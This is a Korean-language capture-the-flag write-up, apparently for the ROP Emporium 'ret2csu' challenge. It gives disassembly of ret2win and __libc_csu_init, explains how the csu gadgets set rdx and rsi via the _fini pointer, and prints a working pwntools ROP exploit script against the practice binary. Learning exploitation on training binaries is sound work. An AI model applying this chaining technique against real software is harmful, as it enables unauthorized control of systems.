   0x00007ffff7c00afe <+299>:	jne    0x7ffff7c00b9d <ret2win+458>
   0x00007ffff7c00b04 <+305>:	movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00b0e <+315>:	cmp    QWORD PTR [rbp-0x28],rax
   0x00007ffff7c00b12 <+319>:	jne    0x7ffff7c00b9d <ret2win+458>
   0x00007ffff7c00b18 <+325>:	lea    rsi,[rip+0x201]        # 0x7ffff7c00d20
   0x00007ffff7c00b1f <+332>:	lea    rdi,[rip+0x263]        # 0x7ffff7c00d89
   0x00007ffff7c00b26 <+339>:	call   0x7ffff7c00830 <fopen@plt>
   0x00007ffff7c00b2b <+344>:	mov    QWORD PTR [rbp-0x10],rax
   0x00007ffff7c00b2f <+348>:	cmp    QWORD PTR [rbp-0x10],0x0
   0x00007ffff7c00b34 <+353>:	jne    0x7ffff7c00b4c <ret2win+377>
   0x00007ffff7c00b36 <+355>:	lea    rdi,[rip+0x254]        # 0x7ffff7c00d91
   0x00007ffff7c00b3d <+362>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00b42 <+367>:	mov    edi,0x1
   0x00007ffff7c00b47 <+372>:	call   0x7ffff7c00840 <exit@plt>
   0x00007ffff7c00b4c <+377>:	mov    DWORD PTR [rbp-0x4],0x0
   0x00007ffff7c00b53 <+384>:	mov    DWORD PTR [rbp-0x4],0x0
   0x00007ffff7c00b5a <+391>:	jmp    0x7ffff7c00b95 <ret2win+450>
   0x00007ffff7c00b5c <+393>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00007ffff7c00b60 <+397>:	mov    rdi,rax
   0x00007ffff7c00b63 <+400>:	call   0x7ffff7c007e0 <fgetc@plt>
   0x00007ffff7c00b68 <+405>:	mov    esi,eax
   0x00007ffff7c00b6a <+407>:	mov    rdx,QWORD PTR [rip+0x20150f]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00b71 <+414>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00007ffff7c00b74 <+417>:	cdqe
   0x00007ffff7c00b76 <+419>:	add    rax,rdx
   0x00007ffff7c00b79 <+422>:	movzx  ecx,BYTE PTR [rax]
   0x00007ffff7c00b7c <+425>:	mov    rdx,QWORD PTR [rip+0x2014fd]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00b83 <+432>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00007ffff7c00b86 <+435>:	cdqe
   0x00007ffff7c00b88 <+437>:	add    rax,rdx
   0x00007ffff7c00b8b <+440>:	xor    ecx,esi
   0x00007ffff7c00b8d <+442>:	mov    edx,ecx
   0x00007ffff7c00b8f <+444>:	mov    BYTE PTR [rax],dl
   0x00007ffff7c00b91 <+446>:	add    DWORD PTR [rbp-0x4],0x1
   0x00007ffff7c00b95 <+450>:	cmp    DWORD PTR [rbp-0x4],0x1f
   0x00007ffff7c00b99 <+454>:	jle    0x7ffff7c00b5c <ret2win+393>
   0x00007ffff7c00b9b <+456>:	jmp    0x7ffff7c00bb3 <ret2win+480>
   0x00007ffff7c00b9d <+458>:	lea    rdi,[rip+0x1d0]        # 0x7ffff7c00d74
   0x00007ffff7c00ba4 <+465>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00ba9 <+470>:	mov    edi,0x1
   0x00007ffff7c00bae <+475>:	call   0x7ffff7c00840 <exit@plt>
   0x00007ffff7c00bb3 <+480>:	movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c00bbd <+490>:	cmp    QWORD PTR [rbp-0x18],rax
   0x00007ffff7c00bc1 <+494>:	jne    0x7ffff7c00c64 <ret2win+657>
   0x00007ffff7c00bc7 <+500>:	movabs rax,0xcafebabecafebabe
   0x00007ffff7c00bd1 <+510>:	cmp    QWORD PTR [rbp-0x20],rax
   0x00007ffff7c00bd5 <+514>:	jne    0x7ffff7c00c64 <ret2win+657>
   0x00007ffff7c00bdb <+520>:	movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00be5 <+530>:	cmp    QWORD PTR [rbp-0x28],rax
   0x00007ffff7c00be9 <+534>:	jne    0x7ffff7c00c64 <ret2win+657>
   0x00007ffff7c00beb <+536>:	mov    rax,QWORD PTR [rip+0x20148e]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00bf2 <+543>:	add    rax,0x4
   0x00007ffff7c00bf6 <+547>:	mov    rax,QWORD PTR [rax]
   0x00007ffff7c00bf9 <+550>:	mov    rdx,QWORD PTR [rip+0x201480]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00c00 <+557>:	add    rdx,0x4
   0x00007ffff7c00c04 <+561>:	xor    rax,QWORD PTR [rbp-0x18]
   0x00007ffff7c00c08 <+565>:	mov    QWORD PTR [rdx],rax
   0x00007ffff7c00c0b <+568>:	mov    rax,QWORD PTR [rip+0x20146e]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00c12 <+575>:	add    rax,0xc
   0x00007ffff7c00c16 <+579>:	mov    rax,QWORD PTR [rax]
   0x00007ffff7c00c19 <+582>:	mov    rdx,QWORD PTR [rip+0x201460]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00c20 <+589>:	add    rdx,0xc
   0x00007ffff7c00c24 <+593>:	xor    rax,QWORD PTR [rbp-0x20]
   0x00007ffff7c00c28 <+597>:	mov    QWORD PTR [rdx],rax
   0x00007ffff7c00c2b <+600>:	mov    rax,QWORD PTR [rip+0x20144e]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00c32 <+607>:	add    rax,0x14
   0x00007ffff7c00c36 <+611>:	mov    rax,QWORD PTR [rax]
   0x00007ffff7c00c39 <+614>:	mov    rdx,QWORD PTR [rip+0x201440]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00c40 <+621>:	add    rdx,0x14
   0x00007ffff7c00c44 <+625>:	xor    rax,QWORD PTR [rbp-0x28]
   0x00007ffff7c00c48 <+629>:	mov    QWORD PTR [rdx],rax
   0x00007ffff7c00c4b <+632>:	mov    rax,QWORD PTR [rip+0x20142e]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00c52 <+639>:	mov    rdi,rax
   0x00007ffff7c00c55 <+642>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00c5a <+647>:	mov    edi,0x0
   0x00007ffff7c00c5f <+652>:	call   0x7ffff7c00840 <exit@plt>
   0x00007ffff7c00c64 <+657>:	lea    rdi,[rip+0x109]        # 0x7ffff7c00d74
   0x00007ffff7c00c6b <+664>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00c70 <+669>:	mov    edi,0x1
   0x00007ffff7c00c75 <+674>:	call   0x7ffff7c00840 <exit@plt>
End of assembler dump.

 

usefulFunction 함수는 ret2win 함수를 호출해주지만 ret2win 함수 내에서 rdi, rsi, rdx를 비교하는 부분이 있어 사용할 순 없을 것 같습니다. ret2win 함수는 인자로 들어온 rdi, rsi, rdx가 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d인지 체크합니다.

 

csu가 뭔지 잘 몰라 찾아보니 libc를 init 하는 함수 내에 있는 가젯을 사용하는 것이었습니다.

 

Dump of assembler code for function __libc_csu_init:
   0x0000000000400640 <+0>:	push   r15
   0x0000000000400642 <+2>:	push   r14
   0x0000000000400644 <+4>:	mov    r15,rdx
   0x0000000000400647 <+7>:	push   r13
   0x0000000000400649 <+9>:	push   r12
   0x000000000040064b <+11>:	lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:	push   rbp
   0x0000000000400653 <+19>:	lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:	push   rbx
   0x000000000040065b <+27>:	mov    r13d,edi
   0x000000000040065e <+30>:	mov    r14,rsi
   0x0000000000400661 <+33>:	sub    rbp,r12
   0x0000000000400664 <+36>:	sub    rsp,0x8
   0x0000000000400668 <+40>:	sar    rbp,0x3
   0x000000000040066c <+44>:	call   0x4004d0 <_init>
   0x0000000000400671 <+49>:	test   rbp,rbp
   0x0000000000400674 <+52>:	je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:	xor    ebx,ebx
   0x0000000000400678 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:	add    rbx,0x1
   0x0000000000400691 <+81>:	cmp    rbp,rbx
   0x0000000000400694 <+84>:	jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:	add    rsp,0x8
   0x000000000040069a <+90>:	pop    rbx
   0x000000000040069b <+91>:	pop    rbp
   0x000000000040069c <+92>:	pop    r12
   0x000000000040069e <+94>:	pop    r13
   0x00000000004006a0 <+96>:	pop    r14
   0x00000000004006a2 <+98>:	pop    r15
   0x00000000004006a4 <+100>:	ret
End of assembler dump.

 

__libc_csu_init 함수를 보면 r15 값을 rdx에 저장하는 것을 볼 수 있습니다.

rbx, rbp, r12, r13, r14, r15 가젯도 존재하여 제가 원하는 값으로 rdx를 맞출 수 있습니다.

하지만 <__libc_csu_init+call> 부분에 있는 [r12+rbx*8] 호출 부분이 문제입니다.

메모리에 적힌 값을 호출하기 때문에 맘대로 단순히 ret 가젯으로 대체할 수 없습니다.

rdx, rsi를 원하는 값으로 넣는 것이 목적이기에 아무 함수를 call 할 수 없고 rdx, rsi를 사용하지 않는 함수를 찾아야 합니다.

 

pwndbg> disas _fini
Dump of assembler code for function _fini:
   0x00000000004006b4 <+0>:	sub    rsp,0x8
   0x00000000004006b8 <+4>:	add    rsp,0x8
   0x00000000004006bc <+8>:	ret
End of assembler dump.

 

찾다보니 _fini 함수가 rdx, rsi를 건들지 않고 ret하기에 해당 함수가 저장되어 있는 메모리를 찾아야 합니다.

그래서 또 메모리를 훑었습니다.

 

찾다보니 0x600e48 주소에 _fini 함수의 시작 주소가 적혀있는 것을 발견했습니다.

 

from pwn import *

p = process('./ret2csu')

fini = 0x600e48
pop_chain = 0x40069a
make_rdx = 0x400680
pop_rdi = 0x4006a3
ret2win = 0x400510
dead = 0xdeadbeefdeadbeef
cafe = 0xcafebabecafebabe
d00d = 0xd00df00dd00df00d

payload = b'A' * (0x20 + 8)
payload += p64(pop_chain) 
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp
payload += p64(0x600e48) # r12
payload += p64(0x0) # r13
payload += p64(cafe) # r14
payload += p64(d00d) # r15
payload += p64(make_rdx)
payload += p64(0x0) # rsp+0x8
payload += p64(0x0) # rbx
payload += p64(0x0) # rbp
payload += p64(0x0) # r12
payload += p64(0x0) # r13
payload += p64(0x0) # r14
payload += p64(0x0) # r15
payload += p64(pop_rdi)
payload += p64(dead)
payload += p64(ret2win)

p.send(payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다.

먼저 pop이 연속되는 가젯으로 ret한 뒤 순서한 대로 값을 넣어주었습니다.

[r12 + rbx * 8] 주소의 함수를 호출하기 때문에 rbx를 0으로 두고 r12로 _fini 함수 주소가 적힌 메모리 주소를 넣어주었습니다.

그리고 __libc_csu_init 함수에서 loop를 돌리기 위해 rbx + 1 == rbp 이면 종료하는 부분이 있어 1번만 실행하기 위해 rbp를 0x1로 두었습니다.

그 후 r14, r15로 rsi, rdx 값을 작성해주었지만 edi에 값을 넣는 r13은 0x0으로 주었습니다.

그 이유는 edi에 r13d를 저장하여 r13의 4바이트만 저장하기 때문에 나머지 4바이트는 원하는 값이 아닌 0으로 초기화되기 때문입니다.

그 후 mov rdx, r15로 ret하여 rdx, rsi 값을 지정해주고 _fini 함수를 호출합니다.

마지막에 pop이 다시 연속되는데 더 사용할 필요 없기에 0x0을 주었고 마지막에 rdi를 세팅해줘야 해서 pop rdi 가젯을 사용하여 ret2win 함수를 호출합니다.

 


후기

맨날 pop rdi 가젯만 써보다가 여러 가젯을 사용해보니 재밌었습니다.

포너블은 너무 어려운 것 같습니다..